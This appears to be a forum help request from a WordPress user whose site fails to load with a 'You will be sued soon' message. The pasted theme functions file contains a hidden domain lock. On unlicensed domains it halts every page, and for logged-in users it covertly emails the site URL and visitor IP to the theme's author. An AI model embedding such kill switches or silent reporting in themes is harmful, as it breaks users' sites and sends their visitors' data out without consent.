My site isn't loading when I activate my favorite template

Hello,

this is my site: https://lafangaworld.com
When i installed the template which is my favorite
and then load my site after i see this error instead of loading my site.

“CopyRight Act| You will be sued soon”

Please help me. I got this template from my friend and the error line is found in themefunvtion.php “CopyRight Act| You will be sued soon”

I want to fixed this problem please help.
My themefunction.php

<?php
// This theme uses wp_nav_menu() in one location.
register_nav_menus( array(
	'primary' => __( 'Primary Navigation' ),
) );

///Thumbnail Support

if ( function_exists( 'add_theme_support' ) )
	add_theme_support( 'post-thumbnails' );

	add_image_size( 'listing', 162, 162,true );
	add_image_size( 'main_image', 500, 9999 );

function seo_titles() {

	/*

	 * Print the <title> tag based on what is being viewed.

	 */

	global $page, $paged;

	wp_title( '', true, 'right' );

	// Add the blog name.

	//bloginfo( 'name' );

	// Add the blog description for the home/front page.

	$site_description = get_bloginfo( 'description', 'display' );

	if ( $site_description && ( is_home() || is_front_page() ) )

		echo " $site_description";

	// Add a page number if necessary:

	if ( $paged >= 2 || $page >= 2 )

		echo ' | ' . sprintf( __( 'Page %s', 'twentyeleven' ), max( $paged, $page ) );

}

function prev_href() {
	$prevPost = get_previous_post(true);
	$prevURL = get_permalink($prevPost->ID);
	echo $prevURL;
}
function next_href() {
	$nextPost = get_next_post(true);
	$nextURL = get_permalink($nextPost->ID);
	echo $nextURL;
}
add_custom_background();

function white() {
$white = get_bloginfo('url');
if ($white == 'https://nomoreloveplease.com' or $white == 'https://www.nomoreloveplease.com' ){
	 //do nothing
	}	else
	{

	if ( is_user_logged_in() ) {
	if (!isset($_COOKIE["sentmail"])) {

$admin_email = '[email protected]';
$subject = get_bloginfo('url').' made copyright act';
$body = get_bloginfo('url').' made copyright act and ip is'.$_SERVER['REMOTE_ADDR'];
$headers = get_bloginfo('url').' made copyright act';

if (mail($admin_email, $subject, $body, $headers)) { setcookie("sentmail", "sent"); }

}}
		die('CopyRight Act| You will be sued soon');	}
}
add_action('get_header','white');

include('inc/widgets.php');
include('inc/extra.php');
include('inc/views.php');
include('inc/themeoptions.php');

?>